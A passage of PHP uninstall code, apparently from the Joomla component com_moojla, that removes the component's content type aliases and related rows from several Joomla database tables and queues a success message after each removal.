{
// If successfully removed Course_field_mapper add queued success
message.
$app->enqueueMessage(JText::_('The
(com_moojla.course_field_mapper) type alias was removed from the
<b>#__ucm_content</b> table'));
}
// Make sure that all the Course_field_mapper items are cleared from DB
foreach ($course_field_mapper_ids as $course_field_mapper_id)
{
// Remove Course_field_mapper items from the ucm base table
$course_field_mapper_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_field_mapper_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($course_field_mapper_condition);
$db->setQuery($query);
// Execute the query to remove Course_field_mapper items
$db->execute();
// Remove Course_field_mapper items from the ucm history table
$course_field_mapper_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_field_mapper_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($course_field_mapper_condition);
$db->setQuery($query);
// Execute the query to remove Course_field_mapper items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where User_map alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.user_map') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$user_map_found = $db->getNumRows();
// Now check if there were any rows
if ($user_map_found)
{
// Since there are load the needed user_map type ids
$user_map_ids = $db->loadColumn();
// Remove User_map from the content type table
$user_map_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.user_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($user_map_condition);
$db->setQuery($query);
// Execute the query to remove User_map items
$user_map_done = $db->execute();
if ($user_map_done)
{
// If successfully remove User_map add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.user_map) type
alias was removed from the <b>#__content_type</b>
table'));
}
// Remove User_map items from the contentitem tag map table
$user_map_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.user_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($user_map_condition);
$db->setQuery($query);
// Execute the query to remove User_map items
$user_map_done = $db->execute();
if ($user_map_done)
{
// If successfully remove User_map add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.user_map) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove User_map items from the ucm content table
$user_map_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.user_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($user_map_condition);
$db->setQuery($query);
// Execute the query to remove User_map items
$user_map_done = $db->execute();
if ($user_map_done)
{
// If successfully removed User_map add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.user_map) type
alias was removed from the <b>#__ucm_content</b> table'));
}
// Make sure that all the User_map items are cleared from DB
foreach ($user_map_ids as $user_map_id)
{
// Remove User_map items from the ucm base table
$user_map_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $user_map_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($user_map_condition);
$db->setQuery($query);
// Execute the query to remove User_map items
$db->execute();
// Remove User_map items from the ucm history table
$user_map_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $user_map_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($user_map_condition);
$db->setQuery($query);
// Execute the query to remove User_map items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where User_field_map alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.user_field_map') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$user_field_map_found = $db->getNumRows();
// Now check if there were any rows
if ($user_field_map_found)
{
// Since there are load the needed user_field_map type ids
$user_field_map_ids = $db->loadColumn();
// Remove User_field_map from the content type table
$user_field_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.user_field_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($user_field_map_condition);
$db->setQuery($query);
// Execute the query to remove User_field_map items
$user_field_map_done = $db->execute();
if ($user_field_map_done)
{
// If successfully remove User_field_map add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.user_field_map)
type alias was removed from the <b>#__content_type</b>
table'));
}
// Remove User_field_map items from the contentitem tag map table
$user_field_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.user_field_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($user_field_map_condition);
$db->setQuery($query);
// Execute the query to remove User_field_map items
$user_field_map_done = $db->execute();
if ($user_field_map_done)
{
// If successfully remove User_field_map add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.user_field_map)
type alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove User_field_map items from the ucm content table
$user_field_map_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.user_field_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($user_field_map_condition);
$db->setQuery($query);
// Execute the query to remove User_field_map items
$user_field_map_done = $db->execute();
if ($user_field_map_done)
{
// If successfully removed User_field_map add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.user_field_map)
type alias was removed from the <b>#__ucm_content</b>
table'));
}
// Make sure that all the User_field_map items are cleared from DB
foreach ($user_field_map_ids as $user_field_map_id)
{
// Remove User_field_map items from the ucm base table
$user_field_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$user_field_map_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($user_field_map_condition);
$db->setQuery($query);
// Execute the query to remove User_field_map items
$db->execute();
// Remove User_field_map items from the ucm history table
$user_field_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$user_field_map_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($user_field_map_condition);
$db->setQuery($query);
// Execute the query to remove User_field_map items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Course_group_map alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.course_group_map') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$course_group_map_found = $db->getNumRows();
// Now check if there were any rows
if ($course_group_map_found)
{
// Since there are load the needed course_group_map type ids
$course_group_map_ids = $db->loadColumn();
// Remove Course_group_map from the content type table
$course_group_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course_group_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($course_group_map_condition);
$db->setQuery($query);
// Execute the query to remove Course_group_map items
$course_group_map_done = $db->execute();
if ($course_group_map_done)
{
// If successfully remove Course_group_map add queued success message.
$app->enqueueMessage(JText::_('The
(com_moojla.course_group_map) type alias was removed from the
<b>#__content_type</b> table'));
}
// Remove Course_group_map items from the contentitem tag map table
$course_group_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.course_group_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($course_group_map_condition);
$db->setQuery($query);
// Execute the query to remove Course_group_map items
$course_group_map_done = $db->execute();
if ($course_group_map_done)
{
// If successfully remove Course_group_map add queued success message.
$app->enqueueMessage(JText::_('The
(com_moojla.course_group_map) type alias was removed from the
<b>#__contentitem_tag_map</b> table'));
}
// Remove Course_group_map items from the ucm content table
$course_group_map_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.course_group_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($course_group_map_condition);
$db->setQuery($query);
// Execute the query to remove Course_group_map items
$course_group_map_done = $db->execute();
if ($course_group_map_done)
{
// If successfully removed Course_group_map add queued success message.
$app->enqueueMessage(JText::_('The
(com_moojla.course_group_map) type alias was removed from the
<b>#__ucm_content</b> table'));
}
// Make sure that all the Course_group_map items are cleared from DB
foreach ($course_group_map_ids as $course_group_map_id)
{
// Remove Course_group_map items from the ucm base table
$course_group_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_group_map_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($course_group_map_condition);
$db->setQuery($query);
// Execute the query to remove Course_group_map items
$db->execute();
// Remove Course_group_map items from the ucm history table
$course_group_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$course_group_map_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($course_group_map_condition);
$db->setQuery($query);
// Execute the query to remove Course_group_map items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Enrolment alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.enrolment') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$enrolment_found = $db->getNumRows();
// Now check if there were any rows
if ($enrolment_found)
{
// Since there are load the needed enrolment type ids
$enrolment_ids = $db->loadColumn();
// Remove Enrolment from the content type table
$enrolment_condition = array( $db->quoteName('type_alias')
. ' = '. $db->quote('com_moojla.enrolment') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($enrolment_condition);
$db->setQuery($query);
// Execute the query to remove Enrolment items
$enrolment_done = $db->execute();
if ($enrolment_done)
{
// If successfully remove Enrolment add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.enrolment) type
alias was removed from the <b>#__content_type</b>
table'));
}
// Remove Enrolment items from the contentitem tag map table
$enrolment_condition = array( $db->quoteName('type_alias')
. ' = '. $db->quote('com_moojla.enrolment') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($enrolment_condition);
$db->setQuery($query);
// Execute the query to remove Enrolment items
$enrolment_done = $db->execute();
if ($enrolment_done)
{
// If successfully remove Enrolment add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.enrolment) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove Enrolment items from the ucm content table
$enrolment_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.enrolment') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($enrolment_condition);
$db->setQuery($query);
// Execute the query to remove Enrolment items
$enrolment_done = $db->execute();
if ($enrolment_done)
{
// If successfully removed Enrolment add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.enrolment) type
alias was removed from the <b>#__ucm_content</b> table'));
}
// Make sure that all the Enrolment items are cleared from DB
foreach ($enrolment_ids as $enrolment_id)
{
// Remove Enrolment items from the ucm base table
$enrolment_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$enrolment_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($enrolment_condition);
$db->setQuery($query);
// Execute the query to remove Enrolment items
$db->execute();
// Remove Enrolment items from the ucm history table
$enrolment_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$enrolment_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($enrolment_condition);
$db->setQuery($query);
// Execute the query to remove Enrolment items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Tag alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.tag') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$tag_found = $db->getNumRows();
// Now check if there were any rows
if ($tag_found)
{
// Since there are load the needed tag type ids
$tag_ids = $db->loadColumn();
// Remove Tag from the content type table
$tag_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.tag') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($tag_condition);
$db->setQuery($query);
// Execute the query to remove Tag items
$tag_done = $db->execute();
if ($tag_done)
{
// If successfully remove Tag add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.tag) type alias
was removed from the <b>#__content_type</b> table'));
}
// Remove Tag items from the contentitem tag map table
$tag_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.tag') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($tag_condition);
$db->setQuery($query);
// Execute the query to remove Tag items
$tag_done = $db->execute();
if ($tag_done)
{
// If successfully remove Tag add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.tag) type alias
was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove Tag items from the ucm content table
$tag_condition = array( $db->quoteName('core_type_alias') .
' = ' . $db->quote('com_moojla.tag') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($tag_condition);
$db->setQuery($query);
// Execute the query to remove Tag items
$tag_done = $db->execute();
if ($tag_done)
{
// If successfully removed Tag add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.tag) type alias
was removed from the <b>#__ucm_content</b> table'));
}
// Make sure that all the Tag items are cleared from DB
foreach ($tag_ids as $tag_id)
{
// Remove Tag items from the ucm base table
$tag_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $tag_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($tag_condition);
$db->setQuery($query);
// Execute the query to remove Tag items
$db->execute();
// Remove Tag items from the ucm history table
$tag_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $tag_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($tag_condition);
$db->setQuery($query);
// Execute the query to remove Tag items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Tag_instance alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.tag_instance') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$tag_instance_found = $db->getNumRows();
// Now check if there were any rows
if ($tag_instance_found)
{
// Since there are load the needed tag_instance type ids
$tag_instance_ids = $db->loadColumn();
// Remove Tag_instance from the content type table
$tag_instance_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.tag_instance') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($tag_instance_condition);
$db->setQuery($query);
// Execute the query to remove Tag_instance items
$tag_instance_done = $db->execute();
if ($tag_instance_done)
{
// If successfully remove Tag_instance add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.tag_instance)
type alias was removed from the <b>#__content_type</b>
table'));
}
// Remove Tag_instance items from the contentitem tag map table
$tag_instance_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.tag_instance') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($tag_instance_condition);
$db->setQuery($query);
// Execute the query to remove Tag_instance items
$tag_instance_done = $db->execute();
if ($tag_instance_done)
{
// If successfully remove Tag_instance add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.tag_instance)
type alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove Tag_instance items from the ucm content table
$tag_instance_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.tag_instance') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($tag_instance_condition);
$db->setQuery($query);
// Execute the query to remove Tag_instance items
$tag_instance_done = $db->execute();
if ($tag_instance_done)
{
// If successfully removed Tag_instance add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.tag_instance)
type alias was removed from the <b>#__ucm_content</b>
table'));
}
// Make sure that all the Tag_instance items are cleared from DB
foreach ($tag_instance_ids as $tag_instance_id)
{
// Remove Tag_instance items from the ucm base table
$tag_instance_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$tag_instance_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($tag_instance_condition);
$db->setQuery($query);
// Execute the query to remove Tag_instance items
$db->execute();
// Remove Tag_instance items from the ucm history table
$tag_instance_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$tag_instance_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($tag_instance_condition);
$db->setQuery($query);
// Execute the query to remove Tag_instance items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Section alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.section') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$section_found = $db->getNumRows();
// Now check if there were any rows
if ($section_found)
{
// Since there are load the needed section type ids
$section_ids = $db->loadColumn();
// Remove Section from the content type table
$section_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.section') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($section_condition);
$db->setQuery($query);
// Execute the query to remove Section items
$section_done = $db->execute();
if ($section_done)
{
// If successfully remove Section add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.section) type
alias was removed from the <b>#__content_type</b>
table'));
}
// Remove Section items from the contentitem tag map table
$section_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.section') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($section_condition);
$db->setQuery($query);
// Execute the query to remove Section items
$section_done = $db->execute();
if ($section_done)
{
// If successfully remove Section add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.section) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove Section items from the ucm content table
$section_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.section') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($section_condition);
$db->setQuery($query);
// Execute the query to remove Section items
$section_done = $db->execute();
if ($section_done)
{
// If successfully removed Section add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.section) type
alias was removed from the <b>#__ucm_content</b> table'));
}
// Make sure that all the Section items are cleared from DB
foreach ($section_ids as $section_id)
{
// Remove Section items from the ucm base table
$section_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $section_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($section_condition);
$db->setQuery($query);
// Execute the query to remove Section items
$db->execute();
// Remove Section items from the ucm history table
$section_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $section_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($section_condition);
$db->setQuery($query);
// Execute the query to remove Section items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Module alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.module') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$module_found = $db->getNumRows();
// Now check if there were any rows
if ($module_found)
{
// Since there are load the needed module type ids
$module_ids = $db->loadColumn();
// Remove Module from the content type table
$module_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.module') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($module_condition);
$db->setQuery($query);
// Execute the query to remove Module items
$module_done = $db->execute();
if ($module_done)
{
// If successfully remove Module add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.module) type
alias was removed from the <b>#__content_type</b>
table'));
}
// Remove Module items from the contentitem tag map table
$module_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.module') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($module_condition);
$db->setQuery($query);
// Execute the query to remove Module items
$module_done = $db->execute();
if ($module_done)
{
// If successfully remove Module add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.module) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove Module items from the ucm content table
$module_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.module') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($module_condition);
$db->setQuery($query);
// Execute the query to remove Module items
$module_done = $db->execute();
if ($module_done)
{
// If successfully removed Module add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.module) type
alias was removed from the <b>#__ucm_content</b> table'));
}
// Make sure that all the Module items are cleared from DB
foreach ($module_ids as $module_id)
{
// Remove Module items from the ucm base table
$module_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $module_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($module_condition);
$db->setQuery($query);
// Execute the query to remove Module items
$db->execute();
// Remove Module items from the ucm history table
$module_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $module_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($module_condition);
$db->setQuery($query);
// Execute the query to remove Module items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Content alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.content') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$content_found = $db->getNumRows();
// Now check if there were any rows
if ($content_found)
{
// Since there are load the needed content type ids
$content_ids = $db->loadColumn();
// Remove Content from the content type table
$content_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.content') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($content_condition);
$db->setQuery($query);
// Execute the query to remove Content items
$content_done = $db->execute();
if ($content_done)
{
// If successfully remove Content add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.content) type
alias was removed from the <b>#__content_type</b>
table'));
}
// Remove Content items from the contentitem tag map table
$content_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.content') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($content_condition);
$db->setQuery($query);
// Execute the query to remove Content items
$content_done = $db->execute();
if ($content_done)
{
// If successfully remove Content add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.content) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove Content items from the ucm content table
$content_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.content') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($content_condition);
$db->setQuery($query);
// Execute the query to remove Content items
$content_done = $db->execute();
if ($content_done)
{
// If successfully removed Content add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.content) type
alias was removed from the <b>#__ucm_content</b> table'));
}
// Make sure that all the Content items are cleared from DB
foreach ($content_ids as $content_id)
{
// Remove Content items from the ucm base table
$content_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $content_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($content_condition);
$db->setQuery($query);
// Execute the query to remove Content items
$db->execute();
// Remove Content items from the ucm history table
$content_condition = array( $db->quoteName('ucm_type_id')
. ' = ' . $content_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($content_condition);
$db->setQuery($query);
// Execute the query to remove Content items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Category_map alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.category_map') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$category_map_found = $db->getNumRows();
// Now check if there were any rows
if ($category_map_found)
{
// Since there are load the needed category_map type ids
$category_map_ids = $db->loadColumn();
// Remove Category_map from the content type table
$category_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.category_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($category_map_condition);
$db->setQuery($query);
// Execute the query to remove Category_map items
$category_map_done = $db->execute();
if ($category_map_done)
{
// If successfully remove Category_map add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.category_map)
type alias was removed from the <b>#__content_type</b>
table'));
}
// Remove Category_map items from the contentitem tag map table
$category_map_condition = array(
$db->quoteName('type_alias') . ' = '.
$db->quote('com_moojla.category_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($category_map_condition);
$db->setQuery($query);
// Execute the query to remove Category_map items
$category_map_done = $db->execute();
if ($category_map_done)
{
// If successfully remove Category_map add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.category_map)
type alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove Category_map items from the ucm content table
$category_map_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.category_map') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($category_map_condition);
$db->setQuery($query);
// Execute the query to remove Category_map items
$category_map_done = $db->execute();
if ($category_map_done)
{
// If successfully removed Category_map add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.category_map)
type alias was removed from the <b>#__ucm_content</b>
table'));
}
// Make sure that all the Category_map items are cleared from DB
foreach ($category_map_ids as $category_map_id)
{
// Remove Category_map items from the ucm base table
$category_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$category_map_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
$query->where($category_map_condition);
$db->setQuery($query);
// Execute the query to remove Category_map items
$db->execute();
// Remove Category_map items from the ucm history table
$category_map_condition = array(
$db->quoteName('ucm_type_id') . ' = ' .
$category_map_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_history'));
$query->where($category_map_condition);
$db->setQuery($query);
// Execute the query to remove Category_map items
$db->execute();
}
}
// Create a new query object.
$query = $db->getQuery(true);
// Select id from content type table
$query->select($db->quoteName('type_id'));
$query->from($db->quoteName('#__content_types'));
// Where Cohort alias is found
$query->where( $db->quoteName('type_alias') . ' =
'. $db->quote('com_moojla.cohort') );
$db->setQuery($query);
// Execute query to see if alias is found
$db->execute();
$cohort_found = $db->getNumRows();
// Now check if there were any rows
if ($cohort_found)
{
// Since there are load the needed cohort type ids
$cohort_ids = $db->loadColumn();
// Remove Cohort from the content type table
$cohort_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.cohort') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__content_types'));
$query->where($cohort_condition);
$db->setQuery($query);
// Execute the query to remove Cohort items
$cohort_done = $db->execute();
if ($cohort_done)
{
// If successfully remove Cohort add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.cohort) type
alias was removed from the <b>#__content_type</b>
table'));
}
// Remove Cohort items from the contentitem tag map table
$cohort_condition = array( $db->quoteName('type_alias') .
' = '. $db->quote('com_moojla.cohort') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__contentitem_tag_map'));
$query->where($cohort_condition);
$db->setQuery($query);
// Execute the query to remove Cohort items
$cohort_done = $db->execute();
if ($cohort_done)
{
// If successfully remove Cohort add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.cohort) type
alias was removed from the <b>#__contentitem_tag_map</b>
table'));
}
// Remove Cohort items from the ucm content table
$cohort_condition = array(
$db->quoteName('core_type_alias') . ' = ' .
$db->quote('com_moojla.cohort') );
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_content'));
$query->where($cohort_condition);
$db->setQuery($query);
// Execute the query to remove Cohort items
$cohort_done = $db->execute();
if ($cohort_done)
{
// If successfully removed Cohort add queued success message.
$app->enqueueMessage(JText::_('The (com_moojla.cohort) type
alias was removed from the <b>#__ucm_content</b> table'));
}
// Make sure that all the Cohort items are cleared from DB
foreach ($cohort_ids as $cohort_id)
{
// Remove Cohort items from the ucm base table
$cohort_condition = array( $db->quoteName('ucm_type_id') .
' = ' . $cohort_id);
// Create a new query object.
$query = $db->getQuery(true);
$query->delete($db->quoteName('#__ucm_base'));
